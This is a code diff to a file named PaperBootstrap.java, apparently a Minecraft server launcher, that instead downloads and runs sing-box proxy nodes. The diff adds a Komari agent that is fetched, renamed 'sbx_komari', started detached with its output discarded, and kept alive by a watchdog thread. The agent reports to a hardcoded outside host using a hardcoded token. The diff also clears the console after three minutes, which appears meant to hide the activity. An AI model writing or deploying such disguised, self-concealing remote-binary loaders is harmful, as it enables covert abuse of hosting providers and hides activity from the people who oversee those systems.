Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
231 changes: 157 additions & 74 deletions src/main/java/io/papermc/paper/PaperBootstrap.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,9 @@
import java.io.*;
import java.net.*;
import java.nio.file.*;
import java.time.*;
import java.util.*;
import java.time.format.DateTimeFormatter;
import java.util.concurrent.*;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.regex.*;

public class PaperBootstrap {
Expand All @@ -16,6 +15,9 @@ public class PaperBootstrap {
private static final Path UUID_FILE = Paths.get("data/uuid.txt");
private static String uuid;
private static Process singboxProcess;
// ===== Komari 相关全局变量 =====
private static volatile Process komariProcess; // 存储Komari进程(volatile保证多线程可见性)
private static final AtomicBoolean running = new AtomicBoolean(true); // 控制守护线程运行
// ======================================

public static void main(String[] args) {
Expand All @@ -28,6 +30,7 @@ public static void main(String[] args) {
System.out.println("当前使用的 UUID: " + uuid);
// --------------------------------------------

// ===== sing-box 配置读取 =====
String tuicPort = trim((String) config.get("tuic_port"));
String hy2Port = trim((String) config.get("hy2_port"));
String realityPort = trim((String) config.get("reality_port"));
Expand All @@ -37,19 +40,20 @@ public static void main(String[] args) {
boolean deployTUIC = !tuicPort.isEmpty();
boolean deployHY2 = !hy2Port.isEmpty();

if (!deployVLESS && !deployTUIC && !deployHY2)
if (!deployVLESS && !deployTUIC && !deployHY2)
throw new RuntimeException("❌ 未设置任何协议端口!");

Path baseDir = Paths.get("/tmp/.singbox");
Files.createDirectories(baseDir);
Path configJson = baseDir.resolve("config.json");
Path configJson = baseDir.resolve("config.json"); // 变量名是configJson
Path cert = baseDir.resolve("cert.pem");
Path key = baseDir.resolve("private.key");
Path bin = baseDir.resolve("sing-box");
Path realityKeyFile = Paths.get("reality.key");

System.out.println("✅ config.yml 加载成功");

// ===== sing-box 核心逻辑 =====
generateSelfSignedCert(cert, key);
String version = fetchLatestSingBoxVersion();
safeDownloadSingBox(version, bin, baseDir);
Expand Down Expand Up @@ -78,25 +82,153 @@ public static void main(String[] args) {
tuicPort, hy2Port, realityPort, sni, cert, key,
privateKey, publicKey);

// 保存 sing-box 进程 + 启动每日 00:03 重启
// 启动sing-box(移除定时重启调用)
singboxProcess = startSingBox(bin, configJson);
scheduleDailyRestart(bin, configJson);

// ===== Komari Agent 核心逻辑 =====
runKomariAgent(config); // 启动Komari
startKomariDaemonThread(config); // 启动Komari守护线程

// ===== 输出节点 =====
String host = detectPublicIP();
printDeployedLinks(uuid, deployVLESS, deployTUIC, deployHY2,
tuicPort, hy2Port, realityPort, sni, host, publicKey);

// ===== 核心修改:清屏时机延后(当前设为3分钟=180秒,可自定义)=====
scheduleConsoleClear(180); // 数字代表秒数,比如:30=30秒,60=1分钟,300=5分钟,600=10分钟

// ===== 关闭钩子:清理资源 + 停止进程 =====
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
try { deleteDirectory(baseDir); } catch (IOException ignored) {}
try {
// 停止Komari进程
if (komariProcess != null && komariProcess.isAlive()) {
komariProcess.destroy();
System.out.println("❌ Komari Agent 进程已终止");
}
// 停止sing-box进程
if (singboxProcess != null && singboxProcess.isAlive()) {
singboxProcess.destroy();
System.out.println("❌ sing-box 进程已终止");
}
// 删除临时目录
deleteDirectory(baseDir);
} catch (Exception ignored) {}
}));

} catch (Exception e) {
e.printStackTrace();
}
}


// ========== 极简清屏:仅保留核心跨平台清屏逻辑 ==========
/**
* 延迟指定秒数后清理控制台日志(最简单实现)
* @param delaySeconds 延迟秒数,可自定义:30=30秒,60=1分钟,180=3分钟,300=5分钟,600=10分钟
*/
private static void scheduleConsoleClear(int delaySeconds) {
Executors.newSingleThreadScheduledExecutor().schedule(() -> {
clearConsole();
}, delaySeconds, TimeUnit.SECONDS);
}

/**
* 跨平台清理控制台日志(核心命令,无冗余)
*/
private static void clearConsole() {
try {
String os = System.getProperty("os.name").toLowerCase();
// 执行对应系统的清屏命令
ProcessBuilder pb = os.contains("win")
? new ProcessBuilder("cmd", "/c", "cls")
: new ProcessBuilder("clear");
pb.inheritIO().start().waitFor();
} catch (Exception e) {
// 清屏失败仅提示,不影响主程序
System.out.println("清理控制台日志失败:" + e.getMessage());
}
}

// ========== Komari Agent 核心方法 ==========
private static void runKomariAgent(Map<String, Object> config) throws Exception {
// 从config.yml读取Komari配置
String komariE = trim((String) config.getOrDefault("komari_e", "https://vps.z1000.dpdns.org:10736"));
String komariT = trim((String) config.getOrDefault("komari_t", "JzerczYfCF4Secuy9vtYaB"));
String komariUrlAmd64 = trim((String) config.getOrDefault("komari_amd64_url",
"https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-amd64"));
String komariUrlArm64 = trim((String) config.getOrDefault("komari_arm64_url",
"https://github.com/komari-monitor/komari-agent/releases/latest/download/komari-agent-linux-arm64"));
String komariFileName = trim((String) config.getOrDefault("komari_file_name", "sbx_komari"));

// 获取Komari二进制文件路径
Path agentPath = getKomariAgentPath(komariUrlAmd64, komariUrlArm64, komariFileName);

// 启动Komari(隐藏日志)
List<String> command = new ArrayList<>();
command.add("setsid");
command.add(agentPath.toString());
command.add("-e");
command.add(komariE);
command.add("-t");
command.add(komariT);

ProcessBuilder pb = new ProcessBuilder(command);
pb.redirectErrorStream(true);
pb.redirectOutput(ProcessBuilder.Redirect.DISCARD);
pb.redirectError(ProcessBuilder.Redirect.DISCARD);
pb.directory(new File(System.getProperty("user.dir")));

komariProcess = pb.start();
System.out.println("\n✅ Komari Agent 启动成功(配置:e=" + komariE + ", t=" + komariT + ")");
}

private static Path getKomariAgentPath(String komariUrlAmd64, String komariUrlArm64, String komariFileName) throws IOException {
String arch = detectArch();
String url = arch.equals("amd64") ? komariUrlAmd64 : komariUrlArm64;
Path agentPath = Paths.get(System.getProperty("java.io.tmpdir"), komariFileName);

if (Files.exists(agentPath)) {
return agentPath;
}

// 下载Komari二进制文件
System.out.println("\n⬇️ 下载Komari Agent: " + url);
try (InputStream in = new URL(url).openStream()) {
Files.copy(in, agentPath, StandardCopyOption.REPLACE_EXISTING);
}

// 设置可执行权限
if (!agentPath.toFile().setExecutable(true)) {
throw new IOException("❌ 无法设置Komari Agent可执行权限");
}

System.out.println("✅ Komari Agent 下载并授权完成");
return agentPath;
}

private static void startKomariDaemonThread(Map<String, Object> config) {
Thread daemonThread = new Thread(() -> {
while (running.get()) {
try {
// 检测Komari进程是否存活
if (komariProcess == null || !komariProcess.isAlive()) {
System.err.println("\n❌ Komari Agent 进程意外退出,正在重启...");
runKomariAgent(config);
}
Thread.sleep(5000); // 每5秒检测一次
} catch (Exception e) {
System.err.println("❌ 重启Komari Agent失败: " + e.getMessage());
}
}
});
daemonThread.setDaemon(true);
daemonThread.setName("KomariAgentDaemon");
daemonThread.start();
System.out.println("✅ Komari Agent 守护线程已启动(每5秒检测一次进程状态)");
}

// ========== 原有核心方法(保留)==========
private static String generateOrLoadUUID(Object configUuid) {
// 1. 优先使用 config.yml(兼容旧配置)
// 1. 优先使用 config.yml
String cfg = trim((String) configUuid);
if (!cfg.isEmpty()) {
saveUuidToFile(cfg);
Expand All @@ -113,8 +245,7 @@ private static String generateOrLoadUUID(Object configUuid) {
}
}
} catch (Exception e) {

System.err.println("读取 UUID 文件失败: " + e.getMessage());
System.err.println("读取 UUID 文件失败: " + e.getMessage());
}

// 3. 首次生成
Expand All @@ -128,31 +259,36 @@ private static void saveUuidToFile(String uuid) {
try {
Files.createDirectories(UUID_FILE.getParent());
Files.writeString(UUID_FILE, uuid);
// 防止被其他用户读取(非 root 环境仍然安全)
UUID_FILE.toFile().setReadable(false, false);
UUID_FILE.toFile().setReadable(true, true);
} catch (Exception e) {
System.err.println("保存 UUID 失败: " + e.getMessage());
}
}

private static boolean isValidUUID(String u) {
private static boolean isValidUUID(String u) {
return u != null && u.matches("^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$");
}

// ===== 工具函数 =====
private static String trim(String s) { return s == null ? "" : s.trim(); }
private static String trim(String s) {
return s == null ? "" : s.trim();
}

private static Map<String, Object> loadConfig() throws IOException {
Yaml yaml = new Yaml();
try (InputStream in = Files.newInputStream(Paths.get("config.yml"))) {
Path configPath = Paths.get("config.yml");
if (!Files.exists(configPath)) {
Files.createFile(configPath);
System.out.println("⚠️ config.yml 文件不存在,已创建空文件");
return new HashMap<>();
}
try (InputStream in = Files.newInputStream(configPath)) {
Object o = yaml.load(in);
if (o instanceof Map) return (Map<String, Object>) o;
return new HashMap<>();
}
}

// ===== 证书生成 =====
private static void generateSelfSignedCert(Path cert, Path key) throws IOException, InterruptedException {
if (Files.exists(cert) && Files.exists(key)) {
System.out.println("🔑 证书已存在,跳过生成");
Expand All @@ -166,7 +302,6 @@ private static void generateSelfSignedCert(Path cert, Path key) throws IOExcepti
System.out.println("✅ 已生成自签证书");
}

// ===== Reality 密钥生成 =====
private static Map<String, String> generateRealityKeypair(Path bin) throws IOException, InterruptedException {
System.out.println("🔑 正在生成 Reality 密钥对...");
ProcessBuilder pb = new ProcessBuilder("bash", "-c", bin + " generate reality-keypair");
Expand All @@ -188,7 +323,7 @@ private static Map<String, String> generateRealityKeypair(Path bin) throws IOExc
System.out.println("✅ Reality 密钥生成完成");
return map;
}
// ===== 配置生成 =====

private static void generateSingBoxConfig(Path configFile, String uuid, boolean vless, boolean tuic, boolean hy2,
String tuicPort, String hy2Port, String realityPort,
String sni, Path cert, Path key,
Expand Down Expand Up @@ -269,7 +404,6 @@ private static void generateSingBoxConfig(Path configFile, String uuid, boolean
System.out.println("✅ sing-box 配置生成完成");
}

// ===== 版本检测 =====
private static String fetchLatestSingBoxVersion() {
String fallback = "1.12.12";
try {
Expand All @@ -293,7 +427,6 @@ private static String fetchLatestSingBoxVersion() {
return fallback;
}

// ===== 下载 sing-box =====
private static void safeDownloadSingBox(String version, Path bin, Path dir) throws IOException, InterruptedException {
if (Files.exists(bin)) return;
String arch = detectArch();
Expand All @@ -318,20 +451,18 @@ private static String detectArch() {
return "amd64";
}

// ===== 启动 =====
private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException {
private static Process startSingBox(Path bin, Path cfg) throws IOException, InterruptedException {
System.out.println("正在启动 sing-box...");
ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString());
pb.redirectErrorStream(true);
// 不写日志 → 直接输出到控制台
pb.redirectOutput(ProcessBuilder.Redirect.DISCARD);
pb.redirectOutput(ProcessBuilder.Redirect.DISCARD);
pb.redirectError(ProcessBuilder.Redirect.DISCARD);
Process p = pb.start();
Thread.sleep(1500);
System.out.println("sing-box 已启动,PID: " + p.pid());
return p;
}

// ===== 输出节点 =====
private static String detectPublicIP() {
try (BufferedReader br = new BufferedReader(new InputStreamReader(new URL("https://api.ipify.org").openStream()))) {
return br.readLine();
Expand All @@ -355,54 +486,6 @@ private static void printDeployedLinks(String uuid, boolean vless, boolean tuic,
uuid, host, hy2Port, sni);
}

// ===== 每日北京时间 00:03 重启 sing-box(无日志、控制台实时输出)=====
private static void scheduleDailyRestart(Path bin, Path cfg) {
ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(1);

Runnable restartTask = () -> {
System.out.println("\n[定时重启Sing-box] 北京时间 00:03,准备重启 sing-box...");

// 1. 优雅停止旧进程
if (singboxProcess != null && singboxProcess.isAlive()) {
System.out.println("正在停止旧进程 (PID: " + singboxProcess.pid() + ")...");
singboxProcess.destroy(); // 发送 SIGTERM
try {
if (!singboxProcess.waitFor(10, TimeUnit.SECONDS)) {
System.out.println("进程未响应,强制终止...");
singboxProcess.destroyForcibly();
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}

// 2. 启动新进程
try {
ProcessBuilder pb = new ProcessBuilder(bin.toString(), "run", "-c", cfg.toString());
pb.redirectErrorStream(true);
pb.redirectOutput(ProcessBuilder.Redirect.DISCARD);
pb.redirectError(ProcessBuilder.Redirect.DISCARD);
singboxProcess = pb.start();
System.out.println("sing-box 重启成功,新 PID: " + singboxProcess.pid());
} catch (Exception e) {
System.err.println("重启失败: " + e.getMessage());
e.printStackTrace();
}
};

ZoneId zone = ZoneId.of("Asia/Shanghai");
LocalDateTime now = LocalDateTime.now(zone);
LocalDateTime next = now.withHour(0).withMinute(3).withSecond(0).withNano(0);
if (!next.isAfter(now)) next = next.plusDays(1);

long initialDelay = Duration.between(now, next).getSeconds();

scheduler.scheduleAtFixedRate(restartTask, initialDelay, 86_400, TimeUnit.SECONDS);

System.out.printf("[定时重启Sing-box] 已计划每日 00:03 重启(首次执行:%s)%n",
next.format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss")));
}

private static void deleteDirectory(Path dir) throws IOException {
if (!Files.exists(dir)) return;
Files.walk(dir).sorted(Comparator.reverseOrder()).map(Path::toFile).forEach(File::delete);
Expand Down